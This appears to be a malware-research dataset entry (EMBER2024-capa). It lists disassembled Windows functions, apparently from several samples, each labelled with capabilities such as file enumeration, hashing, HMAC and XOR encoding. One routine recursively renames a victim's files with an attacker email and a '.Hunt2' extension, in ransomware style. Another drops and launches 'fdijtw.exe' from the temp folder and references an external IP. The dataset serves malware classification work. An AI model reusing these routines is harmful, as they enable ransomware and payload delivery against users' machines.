joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e90
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x407678]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test eax, eax
jne 0x401ed2
call edi
mov esi, eax
test esi, esi
je 0x401ebc
mov eax, 1
jmp 0x401ecd
call ebp
mov ebx, eax
test ebx, ebx
je 0x401fdf
mov eax, 2
mov dword [0x407678], eax
cmp eax, 1
jne 0x401f72
test esi, esi
jne 0x401eeb
call edi
mov esi, eax
test esi, esi
je 0x401fdf
cmp word [esi], 0
mov eax, esi
je 0x401f05
add eax, 2
cmp word [eax], 0
jne 0x401ef3
add eax, 2
cmp word [eax], 0
jne 0x401ef3
sub eax, esi
push 0
sar eax, 1
inc eax
push 0
mov ebp, eax
push 0
push 0
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x401f64
push edi
call fcn.00402a00
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401f64
push 0
push 0
push edi
push ebx
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x401f56
push ebx
call fcn.004029b0
add esp, 4
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x401fdf
test ebx, ebx
jne 0x401f83
call ebp
mov ebx, eax
test ebx, ebx
je 0x401fdf
mov cl, byte [ebx]
mov eax, ebx
test cl, cl
je 0x401f9b
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401f8b
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401f8b
sub eax, ebx
inc eax
mov esi, eax
push esi
call fcn.00402a00
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x401fbd
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x4027a0
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x405230
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x4027c4
add eax, 8
inc ebp
cmp eax, 0x4052c0
jb 0x4027b5
cmp ecx, dword [ebp*8 + 0x405230]
jne 0x40296b
mov eax, dword [0x40751c]
cmp eax, 1
je 0x40292d
test eax, eax
jne 0x4027f0
cmp dword [0x405088], 1
je 0x40292d
cmp ecx, 0xfc
je 0x40296b
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40282b
mov ecx, 5
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x402874
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x404410
add ebx, ecx
push ebx
call fcn.00403550
add esp, 0xc
mov ecx, 6
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4043f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Microsoft_Visual_C_Runtime_Library
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x405234]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004034c0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x4077e0]
test eax, eax
je 0x40293e
mov esi, dword [eax + 0x10]
cmp esi, 0xffffffff
jne 0x402948
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x405234]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x4064f0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 8], eax
inc dword [0x478104]
cmp dword [0x479b08], 0
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x260], eax
je 0x40652c
push eax
push str.Rename_Files_:__s
call fcn.00401d20
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x3c4
push 8
push dword [0x47a330]
call ebx
mov edi, eax
test edi, edi
je 0x406532
nop word [eax + eax]
push 0x3c4
push 8
push dword [0x47a330]
call ebx
mov esi, eax
test esi, esi
je 0x406550
mov ebx, dword [ebp - 0x260]
mov ecx, ebx
call fcn.00405cd0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44586c
push edi
call ebx
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x264], eax
cmp eax, 0xffffffff
je 0x4066f7
nop word [eax + eax]
push 0x445874
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4066ce
push 0x445878
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4066ce
mov eax, dword [ebp - 0x25c]
test eax, 0x400
jne 0x4066ce
test al, 0x10
je 0x406643
lea ecx, [ebp - 0x230]
call fcn.00405bc0
test eax, eax
je 0x406635
push dword [ebp - 0x260]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push edi
call ebx
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
push edi
call fcn.004064f0
add esp, 4
jmp 0x4066ce
mov eax, dword [ebp - 0x25c]
test al, 0x10
jne 0x4066ce
lea ecx, [ebp - 0x230]
call fcn.00405ab0
test eax, eax
je 0x4066ce
push dword [ebp - 0x260]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x445880
push edi
call ebx
lea eax, [ebp - 0x230]
push eax
push edi
call ebx
mov ecx, edi
call fcn.00406760
test eax, eax
je 0x4066ce
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x451ca4
push esi
call ebx
push 0x46f438
push esi
call ebx
push 0x451cac
push esi
call ebx
push str.DLoPhxwsi_gmail.com
push esi
call ebx
push str._.Hunt2
push esi
call ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4066ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push edi
push str.Cant_rename_file__s__to___s_GetLastError___lu
call fcn.00401d20
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4065b0
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406711
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x260]
push str.Cant_FindFirstFileW_path_:__s____lu
call fcn.00401d20
add esp, 0xc
dec dword [0x478104]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x47a330]
call esi
push edi
push 0
push dword [0x47a330]
call esi
cmp dword [0x479b08], 0
je 0x406749
push str.return_FINDFILES
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x418d20
push 0x67
push esi
call edi
push 0x64
push 0x418c58
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401190
push 0
push esi
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x418d20
push 0x418c58
push 0
mov dword [0x418de8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404553
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402a83
call fcn.00402050
test eax, eax
je 0x4010c3
call fcn.00403184
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012e0
test eax, eax
je 0x40107a
call fcn.00401490
mov ecx, dword [0x419688]
test ecx, ecx
jbe 0x4010fb
cmp word [0x41968c], 0
jbe 0x4010fb
mov esi, str.218.54.31.226
call fcn.00403811
mov ax, word [0x41968c]
mov word [0x41808c], ax
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.fdijtw.exe]
mov word [eax + 0x419bc0], cx
add eax, 2
test cx, cx
jne 0x401100
call fcn.00403875
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00408070
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x419bc0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404562
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x414e40
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407013
Capabilities:
Hash data using sha256

Disassembly:
cmp dword [0x455208], 2
jl 0x407054
movaps xmm0, xmmword [0x43c840]
movaps xmmword [0x44a030], xmm0
movaps xmm0, xmmword [0x43c830]
movaps xmmword [0x44a040], xmm0
movaps xmm0, xmmword [0x43c810]
movaps xmmword [0x44a050], xmm0
movaps xmm0, xmmword [0x43c820]
movaps xmmword [0x44a060], xmm0
push esi
mov esi, dword [esp + 8]
mov ecx, esi
call fcn.0040741d
xor edx, edx
mov ecx, dword [esi + 0xf4]
mov eax, dword [edx + 0x43c7e8]
mov dword [edx + ecx], eax
add edx, 4
cmp edx, 0x20
jl 0x407062
mov eax, dword [esi + 0xf4]
xor dword [eax], 0x2080020
mov ecx, dword [esi + 0xf4]
mov eax, dword [esp + 0xc]
xor dword [ecx + 8], eax
mov ecx, dword [esi + 0xf4]
mov eax, dword [esp + 0x10]
or eax, 0x2000
shl eax, 0x10
xor dword [ecx + 0xc], eax
pop esi
ret 0xc

Function at 0x408021
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
test esi, esi
je 0x40804b
movzx ecx, byte [edi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x44a070]
inc edi
sub esi, 1
jne 0x408033
pop edi
mov eax, edx
pop esi
ret 0xc

Function at 0x408213
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x28
mov eax, dword [0x449778]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
mov ebp, dword [esp + 0x38]
xor ebx, ebx
push esi
push edi
mov edi, dword [esp + 0x3c]
cmp dword [edi], 2
lea esi, [edi + 4]
jne 0x408272
mov eax, dword [esi]
push ebx
push ebx
push ebx
push ebx
mov dword [esp + 0x20], eax
lea eax, [esp + 0x24]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push 0x20
push ebp
call fcn.004089e5
xor edx, edx
movzx eax, byte [esp + edx + 0x14]
mov ecx, edx
and ecx, 3
shl ecx, 3
shl eax, cl
xor ebx, eax
inc edx
cmp edx, 0x20
jb 0x408257
mov dword [esi], ebx
xor ebx, ebx
cmp dword [edi], 3
jne 0x40829b
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x24]
push eax
push 0x20
push esi
push 0x20
push ebp
call fcn.004089e5
push 0x20
lea eax, [esp + 0x18]
push eax
push esi
call fcn.00426c80
add esp, 0xc
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00425744
add esp, 0x28
ret 8
Function at 0x4089e5
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0x1d4
mov eax, dword [0x449778]
xor eax, esp
mov dword [esp + 0x1d0], eax
mov eax, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1f0]
push ebx
mov ebx, dword [esp + 0x1e0]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1ec]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1f8]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x1fc]
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
push ebp
mov ebp, dword [esp + 0x1e0]
push esi
push edi
mov edi, dword [esp + 0x1fc]
mov dword [esp + 0x1c], edi
cmp ebx, 0x40
jbe 0x408a91
lea eax, [esp + 0xf8]
push eax
call fcn.00415e96
push ebx
push ebp
lea eax, [esp + 0x100]
push eax
call fcn.00415edc
lea eax, [esp + 0x1a0]
push eax
lea eax, [esp + 0xfc]
push eax
call fcn.00415d6b
mov edx, dword [esp + 0x10]
lea ebp, [esp + 0x1a0]
push 0x20
pop ebx
test edi, edi
je 0x408aab
cmp byte [edx], 0
je 0x408aab
mov esi, edi
lea edi, [esp + 0x28]
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x1c]
jmp 0x408b16
xor edx, edx
test ebx, ebx
je 0x408ad1
mov esi, ebp
lea eax, [esp + 0x160]
sub esi, eax
lea ecx, [esp + 0x160]
add ecx, edx
mov al, byte [esi + ecx]
xor al, 0x36
inc edx
mov byte [ecx], al
cmp edx, ebx
jb 0x408abc
cmp ebx, 0x40
jae 0x408af0
push 0x40
pop eax
sub eax, ebx
lea ecx, [esp + 0x160]
push eax
add ecx, ebx
push 0x36
push ecx
call fcn.00427200
add esp, 0xc
lea eax, [esp + 0x28]
push eax
call fcn.00415e96
push 0x40
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00415edc
test edi, edi
je 0x408b27
mov edx, dword [esp + 0x10]
cmp byte [edx], 0
jne 0x408b27
push 0x1a
pop ecx
lea esi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
mov byte [edx], 1
push dword [esp + 0x1f4]
lea eax, [esp + 0x2c]
push dword [esp + 0x24]
push eax
call fcn.00415edc
lea eax, [esp + 0x1c0]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.00415d6b
mov edi, dword [esp + 0x14]
test edi, edi
je 0x408b73
mov eax, dword [esp + 0x18]
cmp byte [eax], 0
je 0x408b73
mov esi, edi
lea edi, [esp + 0x90]
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x14]
jmp 0x408be2
test ebx, ebx
je 0x408b97
lea eax, [esp + 0x160]
sub ebp, eax
xor edx, edx
lea ecx, [esp + 0x160]
add ecx, edx
mov al, byte [ecx + ebp]
xor al, 0x5c
inc edx
mov byte [ecx], al
cmp edx, ebx
jb 0x408b82
cmp ebx, 0x40
jae 0x408bb6
push 0x40
pop eax
sub eax, ebx
lea ecx, [esp + 0x160]
push eax
add ecx, ebx
push 0x5c
push ecx
call fcn.00427200
add esp, 0xc
lea eax, [esp + 0x90]
push eax
call fcn.00415e96
push 0x40
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x98]
push eax
call fcn.00415edc
test edi, edi
je 0x408bf6
mov eax, dword [esp + 0x18]
cmp byte [eax], 0
jne 0x408bf6
push 0x1a
pop ecx
lea esi, [esp + 0x90]
rep movsd dword es:[edi], dword [esi]
mov byte [eax], 1
push 0x20
lea eax, [esp + 0x1c4]
push eax
lea eax, [esp + 0x98]
push eax
call fcn.00415edc
push dword [esp + 0x24]
lea eax, [esp + 0x94]
push eax
call fcn.00415d6b
mov ecx, dword [esp + 0x1e0]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00425744
add esp, 0x1d4
ret 0x24
Function at 0x408c39
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x19c
mov eax, dword [0x449778]
xor eax, esp
mov dword [esp + 0x198], eax
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a8]
push ebx
mov ebx, dword [esp + 0x1b8]
push ebp
mov ebp, dword [esp + 0x1c0]
push esi
mov esi, dword [esp + 0x1b8]
push edi
mov edi, dword [esp + 0x1c0]
push 0x40
mov dword [esp + 0x18], eax
pop eax
cmp esi, eax
jae 0x408c88
mov eax, esi
push eax
push ecx
lea eax, [esp + 0x14c]
push eax
call fcn.00426c80
add esp, 0xc
cmp esi, 0x44
jae 0x408e5b
xor ecx, ecx
lea eax, [esi + 1]
mov byte [esp + esi + 0x144], cl
cmp eax, 0x44
jae 0x408e5b
mov byte [esp + eax + 0x144], cl
lea eax, [esi + 2]
cmp eax, 0x44
jae 0x408e5b
push ecx
push ecx
push ecx
mov byte [esp + eax + 0x150], cl
lea eax, [esp + 0x110]
push ecx
push eax
lea eax, [esi + 4]
mov byte [esp + esi + 0x15b], 1
push eax
lea eax, [esp + 0x15c]
push eax
push dword [esp + 0x1d0]
push dword [esp + 0x34]
call fcn.004089e5
push 0x20
lea eax, [esp + 0x108]
push eax
lea eax, [esp + 0x12c]
push eax
call fcn.00426c80
mov eax, dword [esp + 0x1d8]
add esp, 0xc
dec eax
mov dword [esp + 0xfc], ebx
mov dword [esp + 0xec], eax
xor esi, esi
mov dword [esp + 0xf8], edi
push 0x10
pop eax
push 0x20
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], eax
mov dword [esp + 0x104], ebp
mov byte [esp + 0x17], 0
mov byte [esp + 0x16], 0
mov dword [esp + 0x1c], esi
pop ebx
mov edi, dword [esp + esi + 0xec]
test edi, edi
je 0x408ddf
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1b]
push eax
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x198]
push eax
push ebx
lea eax, [esp + 0x11c]
push eax
push dword [esp + 0x1d0]
push esi
call fcn.004089e5
push ebx
lea eax, [esp + 0x18c]
push eax
lea eax, [esp + 0x10c]
push eax
call fcn.00426c80
add esp, 0xc
xor ecx, ecx
mov al, byte [esp + ecx + 0x104]
xor byte [esp + ecx + 0x124], al
inc ecx
cmp ecx, ebx
jb 0x408dc3
sub edi, 1
jne 0x408d73
mov esi, dword [esp + 0x18]
push ebx
lea eax, [esp + 0x128]
push eax
push dword [esp + esi + 0x100]
call fcn.00426c80
add esi, 4
add esp, 0xc
mov dword [esp + 0x18], esi
cmp esi, 0xc
jb 0x408d64
push 0x44
lea eax, [esp + 0x148]
push eax
call fcn.00415224
push ebx
lea eax, [esp + 0x128]
push eax
call fcn.00415224
push ebx
lea eax, [esp + 0x108]
push eax
call fcn.00415224
push ebx
lea eax, [esp + 0x18c]
push eax
call fcn.00415224
mov ecx, dword [esp + 0x1a8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00425744
add esp, 0x19c
ret 0x20
call fcn.00425cf1
int3
Function at 0x40e968
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x439eb2
call fcn.004257e8
mov ebx, ecx
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
test esi, esi
jne 0x40e98a
mov al, 1
jmp 0x40eac6
cmp dword [ebx + 0x10], 1
lea ecx, [ebx + 8]
mov dword [ebp - 0x34], ecx
jne 0x40e9a8
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebx + 8]
mov dword [ecx], eax
jmp 0x40ea8f
mov dword [ebp - 0x34], ecx
and dword [ebp - 0x30], 0
xor dl, dl
cmp dword [ebx + 0x10], 0
mov byte [ebp - 0x29], dl
je 0x40e9ff
xor edi, edi
test esi, esi
je 0x40ea1f
mov eax, esi
mov edx, 0x4000
sub eax, edi
cmp eax, edx
jb 0x40e9cf
mov eax, edx
push 0
lea edx, [ebp - 0x30]
push edx
push eax
mov eax, dword [ebp - 0x38]
add eax, edi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne dl
mov byte [ebp - 0x29], dl
test eax, eax
je 0x40ea17
mov ecx, dword [ebp - 0x34]
add edi, 0x4000
cmp edi, esi
jb 0x40e9c0
jmp 0x40ea17
push 0
lea edx, [ebp - 0x30]
push edx
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne dl
mov byte [ebp - 0x29], dl
test dl, dl
jne 0x40eabf
cmp byte [ebx + 0x1e], 0
je 0x40eabf
cmp dword [ebx + 0x10], 0
jne 0x40eabf
push 0
lea edi, [ebx + 0x34]
mov ecx, 0x44e0c8
push edi
call fcn.00409254
test al, al
je 0x40ea97
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x30], esi
jae 0x40e9ab
cmp dword [ebp - 0x30], 0
jbe 0x40e9ab
mov edi, dword [ebx]
push 0
mov esi, dword [edi + 0x14]
mov ecx, esi
call dword [0x43c280]
mov ecx, ebx
call esi
sub eax, dword [ebp - 0x30]
mov ecx, dword [edi + 0x10]
sbb edx, 0
push edx
push eax
call dword [0x43c280]
mov ecx, ebx
call dword [edi + 0x10]
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
jmp 0x40e9ab
push 0x43c6c8
lea ecx, [ebp - 0x28]
call fcn.004014a7
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push edi
push eax
mov ecx, 0x44e0c8
call fcn.00409677
lea ecx, [ebp - 0x28]
call fcn.00401a66
mov al, byte [ebp - 0x29]
mov byte [ebx + 0xc], 1
call fcn.00425797
ret 8
Function at 0x40ed3f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x24
mov eax, 0x439451
call fcn.004257e8
mov esi, dword [ebp + 8]
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40ed58
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40eddc
xor ecx, ecx
mov dword [ebp - 0x14], 7
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], ecx
push eax
push esi
call fcn.004116bc
test al, al
je 0x40eda1
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
jb 0x40ed98
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, eax
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40eddc
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x40edd3
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004019a9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.00425736
pop ecx
pop ecx
mov eax, edi
call fcn.00425797
ret 4

Function at 0x40f00f
Capabilities:
Create directory

Disassembly:
push 0x24
mov eax, 0x439451
call fcn.004257e8
mov esi, dword [ebp + 8]
push esi
call fcn.004113fc
movzx eax, ax
cmp eax, 0x2e
je 0x40f051
cmp eax, 0x20
je 0x40f051
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x40f03b
mov eax, dword [esi]
xor edi, edi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, eax
test ebx, ebx
jne 0x40f0f0
jmp 0x40f055
xor edi, edi
mov ebx, edi
push esi
call fcn.0040ed2d
test al, al
jne 0x40f103
xor eax, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], edi
push eax
push esi
call fcn.004116bc
test al, al
je 0x40f09d
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
jb 0x40f093
mov eax, dword [ebp - 0x28]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, eax
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40f0dc
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x40f0d3
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004019a9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.00425736
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
test ebx, ebx
je 0x40f103
cmp byte [ebp + 0xc], 0
je 0x40f0ff
push dword [ebp + 0x10]
push esi
call fcn.0040f5ab
xor eax, eax
jmp 0x40f11b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
push 2
pop eax
cmp ecx, eax
je 0x40f11b
xor eax, eax
cmp ecx, 3
sete al
inc eax
call fcn.00425797
ret 0xc
Function at 0x40f5ab
Capabilities:
Set file attributes

Disassembly:
push 0x24
mov eax, 0x439451
call fcn.004257e8
mov esi, dword [ebp + 8]
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40f5c4
mov eax, dword [esi]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
test eax, eax
jne 0x40f651
xor ecx, ecx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], ecx
push eax
push esi
call fcn.004116bc
test al, al
je 0x40f616
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
jb 0x40f607
mov eax, dword [ebp - 0x28]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40f651
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x40f648
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004019a9
mov eax, dword [ebp - 0x2c]
